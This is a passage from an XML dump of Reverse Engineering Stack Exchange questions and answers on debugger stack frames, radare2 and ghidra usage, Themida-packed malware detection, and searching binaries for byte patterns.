  <row Id="21260" PostTypeId="1" AcceptedAnswerId="21268" CreationDate="2019-05-02T09:33:36.863" Score="1" ViewCount="398" Body="&lt;p&gt;Well, I've been digging around &lt;em&gt;process command line arguments&lt;/em&gt; as well as &lt;em&gt;environment variables&lt;/em&gt; a bit these last days, especially looking up the way &lt;code&gt;main&lt;/code&gt; function arguments were pushed onto the stack.&lt;/p&gt;&#xA;&lt;p&gt;So far I've got it that a certain &lt;code&gt;_libc_start_main()&lt;/code&gt; function is responsible of setting up everything the &lt;code&gt;main()&lt;/code&gt; function needs in terms of parameters before actually calling it.&lt;br /&gt;&#xA;Without getting into much &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/15175/24851&quot;&gt;details&lt;/a&gt;, I've noticed that when debugging a simple &lt;code&gt;main&lt;/code&gt; program, the &lt;code&gt;main&lt;/code&gt; stack frame is different whether we look it up in &lt;code&gt;radare2&lt;/code&gt; or &lt;code&gt;gdb&lt;/code&gt;.&lt;br /&gt;&#xA;For instance, let's take this minimalist C program :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int main (int argc, char *argv[], char *envp[])&#xA;{&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And simply debug it without any additional parameters :&lt;/p&gt;&#xA;&lt;h2&gt;With GDB&lt;/h2&gt;&#xA;&lt;p&gt;After setting a breakpoint on the first assembly instruction of &lt;code&gt;main&lt;/code&gt; (I couldn't dump the stack frame without running the program),&#xA;what I got in &lt;code&gt;gdb&lt;/code&gt; is something very sensible, as one can see :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/3xw $esp&#xA;0xffffcfbc:     0xf7db7b41          0x00000001      0xffffd054      &#xA;#                  ^                    ^               ^     &#xA;#              PC (somewhere          argc            argv             &#xA;#          in __libc_start_main())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now by actually inspecting the pointed out memory regions for &lt;code&gt;argv&lt;/code&gt; :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/2xw 0xffffd054   # argv&#xA;0xffffd054:     0xffffd1ef      0x00000000&#xA;#                  ^                ^ &#xA;#                argv[0]          argv[argc]&#xA;#           (another pointer)              &#xA;&#xA;(gdb) x/s 0xffffd1ef  # argv[0]&#xA;0xffffd1ef:     &amp;quot;&amp;lt;path&amp;gt;/argvonstack32&amp;quot;&#xA;#                      ^ &#xA;#                  Exepected program name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So what was basically pushed onto the &lt;code&gt;main&lt;/code&gt; stack frame, for both &lt;code&gt;argv&lt;/code&gt; and &lt;code&gt;envp&lt;/code&gt; (even if I didn't show the dump for &lt;code&gt;envp&lt;/code&gt; for simplicity's sake) is exactly what we were entitled to expect from a debugger, that is a &lt;em&gt;pointer to pointer to &lt;code&gt;char&lt;/code&gt;&lt;/em&gt; (as stated in the &lt;code&gt;main&lt;/code&gt; function signature).&lt;/p&gt;&#xA;&lt;h2&gt;With Radare2&lt;/h2&gt;&#xA;&lt;p&gt;Without setting any breakpoint, and directly inspecting the stack frame without running the program, &lt;code&gt;radare2&lt;/code&gt; shows a different stack frame :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF  comment&#xA;0xffa63d10  0100 0000 1953 a6ff 0000 0000 2953 a6ff  .....S......)S..  ; esp&#xA;                ^         ^         ^       &#xA;              argc     argv[0]    argv[1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When inspecting &lt;code&gt;argv[0]&lt;/code&gt; :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF  comment&#xA;0xffa65319  2e2f 6172 6776 6f6e 7374 6163 6b33 3200  ./argvonstack32.&#xA;0xffa65329  5348 454c 4c3d 2f62 696e 2f62 6173 6800  SHELL=/bin/bash.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That shows that &lt;code&gt;radare2&lt;/code&gt; skipped the first pointer indirection of &lt;code&gt;argv&lt;/code&gt; and pushed the list &lt;code&gt;argv[0]...argv[argc]&lt;/code&gt; directly onto the &lt;code&gt;main&lt;/code&gt; stack frame.&lt;/p&gt;&#xA;&lt;p&gt;What explains such a difference ?&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;PS:&lt;/strong&gt;&lt;/em&gt; As you can see, the only difference there is between my usage of &lt;code&gt;radare2&lt;/code&gt; and &lt;code&gt;gdb&lt;/code&gt; was that I runned the program in &lt;code&gt;gdb&lt;/code&gt; while  didn't need to actually run it on &lt;code&gt;radare2&lt;/code&gt; to dump the &lt;code&gt;main&lt;/code&gt; stack frame memory.&lt;/p&gt;&#xA;" OwnerUserId="24851" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-05-02T19:28:41.353" Title="radare2 shows main function arguments argv as pointer to char on the stack, not as pointer to pointer to char" Tags="|debugging|radare2|gdb|stack|entry-point|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21261" PostTypeId="1" CreationDate="2019-05-02T11:42:04.110" Score="0" ViewCount="565" Body="&lt;p&gt;Is it possible that radare2 will show registers values also in strings ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when I run &lt;code&gt;ar&lt;/code&gt; I am getting the liste of registers and I have:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax = 0x000000042  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to also show next to it the string value ?&lt;br&gt;&#xA;Something like that:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax = 0x000000042   ; 'B'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2019-05-02T12:36:53.080" Title="How to view registers values in string" Tags="|radare2|strings|register|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21262" PostTypeId="2" ParentId="21261" CreationDate="2019-05-02T12:36:53.080" Score="2" Body="&lt;p&gt;Using &lt;code&gt;drr&lt;/code&gt; is showing the strings.  &lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2019-05-02T12:36:53.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21263" PostTypeId="2" ParentId="21254" CreationDate="2019-05-02T13:06:02.700" Score="3" Body="&lt;p&gt;it allows to load type definitions into IDA. I.e. define IDA structures by parsing C header file, so that you don't have to define your structures manually.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-05-02T13:06:02.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21264" PostTypeId="1" CreationDate="2019-05-02T14:40:30.963" Score="0" ViewCount="206" Body="&lt;p&gt;I'm developing an android-based game for my school project.&#xA;I chose an .apk to reference the visual parts.&#xA;I've decompiled the .apk file I've specified. I can't view the image files I need.&#xA;files available but unreadable.I couldn't get a data hand using the existing .atlas editor.I will very happy if you help,I can send the apk file and images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have .json .atlas .png but just .atlas and png unreadable ( i tried with .atlas editor it doesnt work)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample : &lt;a href=&quot;https://i.stack.imgur.com/7bBY4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7bBY4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28306" LastActivityDate="2019-05-02T14:40:30.963" Title="(Help)Apk Decomplied unreadable files" Tags="|decompilation|apk|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21265" PostTypeId="1" AcceptedAnswerId="21267" CreationDate="2019-05-02T17:32:59.787" Score="1" ViewCount="3295" Body="&lt;p&gt;I'm working in a large SOC and my manager has tasked me with finding some way to provide coverage for Themida packed malware samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As alluring as it is to suggest just blacklisting all Themida packed software and calling it a day, I would like to do my due diligence before I take that approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that Themida claims to digitally watermark their executables to protect against piracy, and copies of the software are available for torrent on many pirate sites. I was wondering whether the software left the watermark on the packed executables, and whether the pirated software leaves a watermark on the packed binaries that could be signed against. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this is a thing based off of the answer to this post: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1478/how-common-are-virtualized-packers-in-the-wild/1479#1479&quot;&gt;How common are virtualized packers in the wild?&lt;/a&gt;, but the person who answered provided sources for all of his other claims besides this one.&lt;/p&gt;&#xA;" OwnerUserId="28032" LastActivityDate="2019-05-02T19:12:46.590" Title="Detecting cracked Themida packed malware" Tags="|malware|security|yara|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21267" PostTypeId="2" ParentId="21265" CreationDate="2019-05-02T18:59:44.993" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;http://www.oreans-support.com/kmp/index.php?/article/AA-00553/7/General/Whats-the-purpose-of-the-Taggant-Information-feature-in-the-Protection-Options-panel.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Oreans KB&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Taggant System is a cryptographic signature added to a software to&#xA;  fight against antivirus false positives in protected applications. The&#xA;  Taggant information in your Themida/WinLicense license contains an&#xA;  internal ID and your private key to insert and sign the protected&#xA;  binary with your Taggant information, so antivirus companies can&#xA;  detect that the application is protected by a trusted customer and not&#xA;  report it as false positive. Notice that if a license is leaked and&#xA;  used to protect malware/virus, antivirus companies will blacklist that&#xA;  Taggant signature and anything protected with that license will be&#xA;  marked as virus/malware.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;More information about the IEEE Software Taggant System:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;http://standards.ieee.org/develop/indconn/icsg/taggant.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://standards.ieee.org/develop/indconn/icsg/taggant.pdf&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Software_taggant&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Software_taggant&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Please, notice that we are expecting that antivirus companies will&#xA;  enable the Taggant System into their products as soon as possible, but&#xA;  it might take some time till the Taggant System is fully ready in all&#xA;  antiviruses companies. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When you enable the “Taggant Information” option you will require&#xA;  internet connection in protection time to compute your Taggant&#xA;  information and be able to insert it inside the protected binary (it&#xA;  connects to “&lt;a href=&quot;http://taggant-tsa.ieee.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://taggant-tsa.ieee.org/&lt;/a&gt;”). If no internet connection&#xA;  is available in protection time, your application will be protected&#xA;  normally, but it won’t contain any Taggant information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So supposedly the legit binaries should have a valid tag signed with a non-blacklisted certificate. See the links for more details. There is &lt;a href=&quot;https://github.com/IEEEICSG/IEEE_Taggant_System&quot; rel=&quot;nofollow noreferrer&quot;&gt;some code on Github&lt;/a&gt; too. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; apparently the taggant servers &lt;a href=&quot;http://vmpsoft.com/20180505/ieee-amss-taggant-system-will-shut-down-on-31-july-2018/&quot; rel=&quot;nofollow noreferrer&quot;&gt;were shut down in 2018&lt;/a&gt; so probably this can't be used for real-time checks anymore but maybe you can still detect bad files if tags are added by the leaked versions...&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-05-02T19:12:46.590" LastActivityDate="2019-05-02T19:12:46.590" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21268" PostTypeId="2" ParentId="21260" CreationDate="2019-05-02T19:28:41.353" Score="2" Body="&lt;p&gt;You are sort of comparing oranges and apples. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first example, you are looking at the arguments passed to the &lt;code&gt;main&lt;/code&gt; function by the C library, and they match the C standard requirements (array of &lt;code&gt;char&lt;/code&gt; pointers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second example, you are looking at the low level &lt;em&gt;entry point&lt;/em&gt; to the binary and the parameters &lt;em&gt;from the kernel&lt;/em&gt;, before they have been processed by the C library. The kernel does no fancy processing: it just puts all strings in one block delimited by zero bytes (and terminated with two zeroes) and leaves the splitting to the program itself. Usually this is done by &lt;code&gt;__libc_start_main&lt;/code&gt; or similar function before calling &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-05-02T19:28:41.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21269" PostTypeId="1" CreationDate="2019-05-03T08:48:03.027" Score="1" ViewCount="489" Body="&lt;p&gt;Ubuntu 16.04 LTS. I'm trying to install &lt;a href=&quot;https://github.com/devttys0/sasquatch&quot; rel=&quot;nofollow noreferrer&quot;&gt;sasquatch&lt;/a&gt; tool (which should apply patches to the standard unsquashfs utility), but got the issue, every time build process show error in one place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./build.sh: 35: ./build.sh: cannot open ../patches/patch0.txt: No such file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is build &lt;a href=&quot;https://pastebin.com/raw/3sUrkTan&quot; rel=&quot;nofollow noreferrer&quot;&gt;log&lt;/a&gt;. Please advice about this issue.&lt;/p&gt;&#xA;" OwnerUserId="14092" LastEditorUserId="14092" LastEditDate="2019-05-03T09:12:39.670" LastActivityDate="2019-05-03T09:12:39.670" Title="Can't install sasquatch tool" Tags="|file-format|python|decompress|binwalk|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21271" PostTypeId="1" CreationDate="2019-05-04T07:23:35.317" Score="1" ViewCount="284" Body="&lt;p&gt;I am reverse engineering some malware that is written in VB6. I found this tool which tried to decompile the .exe, but I noticed that the image that is being loaded by the .exe is suspicious and I want to extract it for further analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone mentioned resource extractor would work, but that only pulls the ICON from the file, not the image below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a technique or tool that will extract this image?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cCa7b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cCa7b.png&quot; alt=&quot;Image that I want to extract&quot;&gt;&lt;/a&gt;&#xA;Here is some somewhat related topics that have brought me thus far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4077/how-to-disassemble-vbx-files&quot;&gt;How to disassemble VBX files?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorUserId="18014" LastEditDate="2019-05-04T15:05:42.780" LastActivityDate="2019-05-04T18:51:48.100" Title="How can I extract resource images from Visual Basic 6 Malware" Tags="|malware|visual-basic|pe-resources|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="21272" PostTypeId="1" CreationDate="2019-05-04T09:03:59.660" Score="1" ViewCount="356" Body="&lt;p&gt;I have a .net exe file I want to find out which version of visual studio is used to compile the assembly.. Is there are any solution to find out the IDE version.?&lt;/p&gt;&#xA;" OwnerUserId="28314" LastActivityDate="2019-06-16T20:03:35.430" Title="Is it possible to detect visual studio version in compiled .net assembly?" Tags="|.net|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21273" PostTypeId="1" CreationDate="2019-05-04T14:04:32.180" Score="0" ViewCount="62" Body="&lt;p&gt;I have an obfuscated software. I'm a beginner in this area, so I don't find where a patch would be useful for what I want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that I have an idea of how I could find out in which addresses I need to search: the software behaves differently if I add some lines in its config files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'd like to output a text file which contains all the addresses the RIP was set to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I'll be able to diff the files and have an idea of when the execution flow diverged...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in order to do that I need to use Windows and not Linux because this software doesn't work well with Wine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I do, to create such a script, on Windows? &lt;/p&gt;&#xA;" OwnerUserId="28317" LastActivityDate="2019-05-05T21:26:54.090" Title="Output address path during .exe execution" Tags="|windows|deobfuscation|patching|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21275" PostTypeId="1" CreationDate="2019-05-04T18:53:43.850" Score="1" ViewCount="2339" Body="&lt;p&gt;I have binary  for example &lt;a href=&quot;https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap&lt;/a&gt; that I open with IDA , and search some data that I want to find without open IDA ,only with python code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How to find what is the address of this series of bytes :&lt;code&gt;48 8B 45 A8 48 8D 1C 02 48 8B 45 C8&lt;/code&gt; ? , the result need to be &lt;code&gt;0x6B0C67&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)How to find out the 12 bytes that in address &lt;code&gt;0x6B0C67&lt;/code&gt; ? the result need to be &lt;code&gt;48 8B 45 A8 48 8D 1C 02 48 8B 45 C8&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) How to find which address call to specific string? for example &lt;code&gt;i + 1 == features[i].index&lt;/code&gt; that locate in &lt;code&gt;0x6FC272&lt;/code&gt; ?  the result need to be &lt;code&gt;0x4022F6&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find all of this without open Ida? only with python/c code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="27273" LastActivityDate="2023-06-15T02:28:07.563" Title="How to find out address in binary file (like IDA) with python code only?" Tags="|ida|binary-analysis|python|address|offset|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21277" PostTypeId="1" CreationDate="2019-05-05T03:11:53.037" Score="0" ViewCount="109" Body="&lt;p&gt;I have a start and end address inside a function segment. How can I step through all the possible code paths easily, including jumps, function calls, etc that occur between the start and the end point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to find a particular condition that I know occurs somewhere deep in the function segment. (I know how to do this part)&lt;/p&gt;&#xA;" OwnerUserId="19294" LastActivityDate="2019-05-05T03:11:53.037" Title="idapython - Scan all possible code paths between start and end addresses" Tags="|ida|malware|idapython|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21279" PostTypeId="2" ParentId="21275" CreationDate="2019-05-05T08:39:21.320" Score="1" Body="&lt;p&gt;you mean you want to search for a hex pattern in an arbitrary file  using your own code either in python or c ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;have you considered using regex or grep to satisfy your needs ?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;there are certain things you should be aware of&lt;br&gt;&#xA;1) file offsets will not be equal to virtual offsets&lt;br&gt;&#xA;2) even if you manage to map the file you may have to deal with aslr&lt;br&gt;&#xA;2) you need to brush up your understanding of RVA ,VA , File Offset,File Alignment Versus Section Alignment etc  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a sample grep demo (notice the similarity in the last 5 bytes )  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;grep  -obaP &quot;\x48\x8b\x45\xa8\x48\x8d\x1c\x02\x48\x8b\x45\xc8&quot; nmap&#xA;2821223:H&amp;lt;E&quot;H?∟☻H&amp;lt;EE&#xA;&#xA;:\&amp;gt;printf &quot;%x\n&quot; 2821223&#xA;2b0c67&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or python demo&lt;br&gt;&#xA;source &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:\&amp;gt;cat nmap.py&#xA;import re&#xA;fin = open(&quot;d:/nmap&quot; , &quot;rb&quot;)&#xA;dat = fin.read()&#xA;fin.close()&#xA;pat = re.search(&quot;\x48\x8b\x45\xa8\x48\x8d\x1c\x02\x48\x8b\x45\xc8&quot;,dat)&#xA;offset = hex(pat.start())&#xA;print (offset)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:\&amp;gt;python nmap.py&#xA;0x2b0c67&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now that you know how to find offset you can use any hex editor to print the bytes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is an xxd demo&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:\&amp;gt;xxd -l 32 -g 1 -s 0x2b0c67 nmap&#xA;02b0c67: 48 8b 45 a8 48 8d 1c 02 48 8b 45 c8 48 89 c7 e8  H.E.H...H.E.H...&#xA;02b0c77: a3 d7 ff ff 48 89 c2 48 8b 45 c0 48 01 d0 48 39  ....H..H.E.H..H9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can simply use binascii to print the bytes at an offset in python as below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:\&amp;gt;type nmap.py&#xA;import re&#xA;import binascii&#xA;fin = open(&quot;d:/nmap&quot; , &quot;rb&quot;)&#xA;dat = fin.read()&#xA;pat = re.search(&quot;\x48\x8b\x45\xa8\x48\x8d\x1c\x02\x48\x8b\x45\xc8&quot;,dat)&#xA;offset = hex(pat.start())&#xA;print (offset)&#xA;print ( binascii.hexlify(dat[pat.start():pat.start()+16]))&#xA;fin.close()&#xA;D:\&amp;gt;&#xA;&#xA;&#xA;D:\&amp;gt;python nmap.py&#xA;0x2b0c67&#xA;488b45a8488d1c02488b45c84889c7e8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-05-05T08:54:51.047" LastActivityDate="2019-05-05T08:54:51.047" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21280" PostTypeId="2" ParentId="21252" CreationDate="2019-05-05T13:36:13.640" Score="4" Body="&lt;p&gt;Those functions are exported from &lt;code&gt;ntdll.dll&lt;/code&gt; file. To link with those functions, add &lt;code&gt;#pragma comment (lib, &quot;ntdll.lib&quot;)&lt;/code&gt; in the source file. Or in Visual Studio, first check the active Configuration and Platform. Then add the library in Project &gt; Properties &gt; Linker &gt; Input &gt; Additional Dependencies. For example, like this &lt;code&gt;%(AdditionalDependencies); ntdll.lib&lt;/code&gt;. For mingw, cygwin, msys2 etc. toolchains (where GCC is used), use &lt;code&gt;-lntdll&lt;/code&gt; option in command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or the functions can be written directly in the source code also without importing those from ntdll. Those functions use members from &lt;a href=&quot;https://en.wikipedia.org/wiki/Win32_Thread_Information_Block&quot; rel=&quot;nofollow noreferrer&quot;&gt;Thread Information Block (TEB)&lt;/a&gt; as follows:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PTEB_ACTIVE_FRAME RtlGetFrame()&#xA;{&#xA;    return NtCurrentTeb()-&amp;gt;ActiveFrame;&#xA;}&#xA;&#xA;void RtlPushFrame(PTEB_ACTIVE_FRAME Frame)&#xA;{&#xA;    struct _TEB *Teb;&#xA;&#xA;    Teb = NtCurrentTeb();&#xA;    Frame-&amp;gt;Previous = Teb-&amp;gt;ActiveFrame;&#xA;    Teb-&amp;gt;ActiveFrame = Frame;&#xA;}&#xA;&#xA;void RtlPopFrame(PTEB_ACTIVE_FRAME Frame)&#xA;{&#xA;NtCurrentTeb()-&amp;gt;ActiveFrame = Frame-&amp;gt;Previous;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;" OwnerUserId="23069" LastActivityDate="2019-05-05T13:36:13.640" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21281" PostTypeId="1" CreationDate="2019-05-05T14:56:24.503" Score="1" ViewCount="1811" Body="&lt;p&gt;I'm trying with ghidra to reverse a 32-bit proprietary application that uses &lt;code&gt;mfc42.dll&lt;/code&gt; and I'm obtaining mixed results with respect to imported functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my surprise the &lt;code&gt;DLL&lt;/code&gt;s don't use names to export functions like the &lt;code&gt;ELF&lt;/code&gt; format, but use the so called &lt;strong&gt;ordinals&lt;/strong&gt; and you need another file (the corresponding &lt;code&gt;.lib&lt;/code&gt;) to link them with the actual name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the binary there is a particular function that seems to call ordinal 4129 and ordinal 5710 corresponding to &lt;code&gt;CString::Left(int)&lt;/code&gt; and &lt;code&gt;CString::Right(int)&lt;/code&gt; respectively (ghidra internally uses an XML to track the correspondence function &amp;lt;-&gt; ordinal).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I check the actual assembly of this function seems that these functions take a further argument (this can be deduced from the stack depth value that you can enable along the disassembly with ghidra). Obviously I'm taking into account the fact that the class instance is passed via the &lt;code&gt;ecx&lt;/code&gt; register but that it's not relevant for the discussion, &lt;strong&gt;I'm interested in the arguments passed using the stack&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to reverse the dll itself, indeed ghidra finds out the signature as having two arguments but bad enough it cannot tell what is the actual name of these functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;mfc42.dll&lt;/code&gt; (I think) is a pretty standard library can anyone explain to me what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add information, the application seems compiled using Visual Studio VC6, this can be deduced from the signature of the &lt;code&gt;FuncInfo&lt;/code&gt; structure that is &lt;code&gt;0x19930520&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12251" LastEditorUserId="12251" LastEditDate="2019-05-05T20:24:01.590" LastActivityDate="2019-05-05T20:24:01.590" Title="Understand DLL function signature from ordinal" Tags="|dll|ghidra|mfc|pe32|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21284" PostTypeId="2" ParentId="21226" CreationDate="2019-05-06T12:58:16.723" Score="7" Body="&lt;p&gt;&quot;File&quot; -&gt; &quot;Parse C Source...&quot; ... then parse the ddraw.h&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But warning it doesn't work as smooth as expected. I could only get small headers to parse correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good video about it: &lt;a href=&quot;https://www.youtube.com/watch?v=u15-r5Erfnw&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=u15-r5Erfnw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you could ask that guy on Github to include the ddraw.h into his data type collection: &lt;a href=&quot;https://github.com/0x6d696368/ghidra-data/tree/master/typeinfo&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/0x6d696368/ghidra-data/tree/master/typeinfo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28335" LastActivityDate="2019-05-06T12:58:16.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21285" PostTypeId="1" CreationDate="2019-05-06T14:18:38.767" Score="3" ViewCount="1576" Body="&lt;p&gt;so I came across the following string encoding method in python.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def encode(the_string):&#xA;    encoded_string = ''&#xA;    rotations = ord(the_string[-1]) + 5&#xA;&#xA;    for i in range(0, len(the_string)):&#xA;        value = ord(the_string[i])&#xA;&#xA;        for j in range(0, rotations):&#xA;            value -= 1&#xA;            if value &amp;lt; 65:&#xA;                value = 25 + value&#xA;&#xA;        encoded_string += chr(value)&#xA;        rotations += ord(the_string[i])-2&#xA;    return encoded_string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like a Caesar Cipher where ASCII value of the letter determines the number of shifts of the alphabet, however 'Z' stays at the end. The initial number of rotations is the ASCII value of the last letter of the string plus 5.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def encode(the_string):&#xA;   ALPHABET='ABCDEFGHIJKLMNOPQRSTUVWXYZ'&#xA;&#xA;   encoded_string = ''&#xA;   rotations = (ord(the_string[-1]) + 5) % 25&#xA;&#xA;   for i in range(0, len(the_string)):&#xA;       alphabet_rotate = ALPHABET&#xA;       